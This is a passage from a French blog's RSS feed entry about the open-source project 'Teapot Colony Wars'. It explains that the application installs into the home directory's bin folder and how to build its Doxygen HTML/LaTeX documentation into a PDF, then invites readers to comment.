<p>L&rsquo;application s&rsquo;installera automatiquement dans votre homedir, dans le dossier bin. Si la documentation vous tente, vous pouvez générer le HTML et les fichiers LaTeX en tapant :</p>
<blockquote>
<pre>$ doxygen Doxyfile</pre>
</blockquote>
<p>Ensuite, placez-vous dans le dossier doc/latex et tapez simplement :</p>
<blockquote>
<pre>$ make</pre>
</blockquote>
<p>Le PDF résultat se nomme  «refman.pdf» et sera généré dans le dossier courant. Bonne lecture&#8230;</p>
<p>Un site internet du projet verra peut-être le jour au courant de l&rsquo;année, si je trouve un peu de temps à y consacrer. N&rsquo;hésitez pas à me faire part de tous vos commentaires sur ce projet. Profitez de sa licence et faites le vivre !</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/teapot-colony-wars/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
